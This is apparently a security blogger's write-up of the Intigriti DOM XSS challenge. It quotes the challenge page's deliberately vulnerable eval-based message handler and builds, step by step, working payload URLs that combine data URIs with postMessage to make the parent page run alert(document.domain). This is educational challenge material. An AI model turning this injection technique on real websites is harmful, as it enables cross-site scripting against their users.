Intigriti XSS Challenge – Fun with DOM XSS

I just finished the Intigriti XSS challenge, and I wanted to share my write-up for it.

Intigriti XSS Challenge - Introduction

I was perusing Twitter a few days ago, and came across this tweet. Unfortunately, it was a few hours after the challenge had closed, but I figured that the practice couldn't hurt anyway.

I went to the challenge URL, and began to take a look.

Intigriti XSS - Challenge

Getting an Alert

Like any good attacker, I through a random input at the page before even checking it out fully.

https://challenge.intigriti.io/?test=whoami

As expected, not much happened, but I did get an invalid URL error.

Intigriti XSS - Invalid URL

At this point, it was time to look at the page's source.

Intigriti had clearly marked the script block for the challenge, and seemed like it would involve poisoning the eval(url) call.

<html>
<head>
  <title>[intigriti] - XSS Challenge</title>
  <link href="https://fonts.googleapis.com/css?family=Poppins" rel="stylesheet">
  <link rel="stylesheet" type="text/css" href="./style.css">
</head>
<body>
  <header>
    <img src="./logo.svg" id="logo"/>
  </header>
  <h2>Challenge</h2>
    <p>Try to exploit a DOM XSS vulnerability on this page to trigger a popup of the document.domain (<b>challenge.intigriti.io</b>).<br/>
    The winner gets a <b>Burp License (1 year), an exclusive swag package and invitations to private programs</b>.</p>
  <h2>Done?</h2>
    <p>Head over to <a href="https://go.intigriti.com/submit-solution" target="_blank">go.intigriti.com/submit-solution</a> and submit your solution before May 2nd 11:59 PM GMT+1.
      <br/>Out of all valid submissions, we will randomly pick a winner and announce it on our <a href="https://www.twitter.com/intigriti" target="_blank">Twitter profile</a>.</p>
  <h2>Got stuck?</h2>
    <p>Keep an eye on <a href="https://twitter.com/intigriti" target="_blank">our Twitter</a>! We will tweet a tip for every 100 likes <a href="https://go.intigriti.com/xss-challenge-tweet"  target="_blank">our announcement tweet</a> gets</a>.
  <footer>
    <b>Good luck!</b><br/>
    Please do not publicly share the solution before the challenge is over!
  </footer>
  <!-- challenge -->
  <script>
  const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
  const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
  iframe.onload = function(){ window.addEventListener("message", executeCtx, false);}
  function executeCtx(e) {
    if(e.source == iframe.contentWindow){
      e.data.location = window.location;
      Object.assign(window, e.data);
      eval(url);
    }
  }
  </script>
  <!-- challenge -->
</body>
</html>

Based on the simple replacement filter, I decided to send a base64 encoded data URI to the page.

https://challenge.intigriti.io/?test=whoami#data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4%3D

As you can see, I was already able to get alert(1) to work!

Intigriti XSS - Alert(1)

With my early success out of the way, it was time to alert the domain, and finish this challenge.

root@kali:~# echo '<script>alert(document.domain);</script>' | base64
PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pgo=

https://challenge.intigriti.io/?test=whoami#data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pgo%3D

If you paid attention to the earlier code, then you would have realized my folly before me. As this message handler is being run from the newly created iframe, it has no access to the document.domain property. As you can see below, my modified alert was blank.

Intigriti XSS - Blank Alert

Accessing the Parent

In this case, I needed to be able to access the parent URL/window from my newly created iframe. This StackOverflow post indicated that it should be possible, so I continued.

Reading the accepted answer, it mentioned the postMessage method for passing messages, which seemed great considering the message handler. I pulled up the postMessage documentation, and figured out how it worked.

First, I send a message of "MARCO" to my parent window, with a wildcard origin.

root@kali:~# echo '<script>window.parent.postMessage("MARCO", "*")</script>' | base64
PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCJNQVJDTyIsICIqIik8L3NjcmlwdD4K
https://challenge.intigriti.io/?test=whoami#data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCJNQVJDTyIsICIqIik8L3NjcmlwdD4K This time, I got a slightly different error mentioning an index property setter. Intigriti XSS - Error Setter This error was occurring during the Object.assign call, which made me think that there could be an issue with my e.data. Intigriti XSS - Object Assign Next, I tried to send an empty object, instead of a string to my parent window.
root@kali:~# echo -ne '<script>window.parent.postMessage({}, "*")</script>' | base64
PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+

https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ%2B

This seemed to give me a little more progress, as I was getting an "Unexpected end of input" error.

Intigriti XSS - End of Input

This error was occurring on the eval() call, so I decided to perform some testing with the JavaScript console.

As expected, performing this functionality manually returned the same error.

> eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+');

VM870:1 Uncaught SyntaxError: Unexpected end of input
    at <anonymous>:1:1

After some searching and trying various things, I realized that this error is because JavaScript shouldn't really end with a plus sign. Once I removed this, I got a different error.

> eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ');

VM1375:1 Uncaught ReferenceError: text is not defined
    at eval (eval at <anonymous> ((index):1), <anonymous>:1:6)
    at <anonymous>:1:1

My next error indicated that 'text' wasn't defined, so I tried to see what would happen if I just defined it.

> text = 0;
0

> eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ');
VM1394:1 Uncaught ReferenceError: html is not defined
    at eval (eval at <anonymous> ((index):1), <anonymous>:1:11)
    at <anonymous>:1:1
(anonymous) @ VM1394:1
(anonymous) @ VM1393:1

The eval was progressing at this point, so I did the same thing for 'html'.

> html = 0;
0

> eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ');
VM1411:1 Uncaught ReferenceError: base64 is not defined
    at eval (eval at <anonymous> ((index):1), <anonymous>:1:16)
    at <anonymous>:1:1
(anonymous) @ VM1411:1
(anonymous) @ VM1410:1

At this point, I realized that my base64 section would break everything if I tried to define those. In this case, I tried to define 'text' and 'html', and then just send an alert(1).

> eval('data:text/html;alert(1)');
undefined

The payload was properly eval'd this time, and I got my alert!

Intigriti XSS - Proper Alert

Investigating Data URIs

I knew that I would need to include my actual payload in my Data URI, but I wouldn't be able to define the base64 encoded section. At this point, it was time to learn a bit more about Data URIs.

From my reading, it seemed that I should be able to put whatever I wanted before my base64 section, and it would still work. I tried this, and my 'test1234' string didn't seem to break anything.

Intigriti XSS - Data URI

Next, I generated a new message payload that would define my 'text' and 'html' values like before.

root@kali:~# echo -ne '<script>window.parent.postMessage({text:1, html:1}, "*")</script>' | base64
PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MX0sICIqIik8L3NjcmlwdD4=

I also added an alert(1) before my base64 encoded message, so that this would be eval'd by the message handler.

https://challenge.intigriti.io/#data:text/html;alert(1);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MX0sICIqIik8L3NjcmlwdD4%3D

This worked, and my alert was actually coming from the parent domain this time.

Intigriti XSS - Working Alert

All I needed to do now was modify the alert to display document.domain, and I'd be done.

https://challenge.intigriti.io/#data:text/html;alert(document.domain);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MX0sICIqIik8L3NjcmlwdD4

This worked, and I had completed the challenge!

Intigriti XSS - Complete

Intigriti XSS Challenge - Conclusion

It was nice to sharpen some of my DOM XSS skills, and this was a pretty fun challenge.

I'm disappointed that I didn't get to it until after it ended, but I've already got my own Burp license.

There are plenty of other great write-ups, so I suggest you check them out as well.

I still have some more XSS content that I want to finish, so don't worry!

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Principal Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.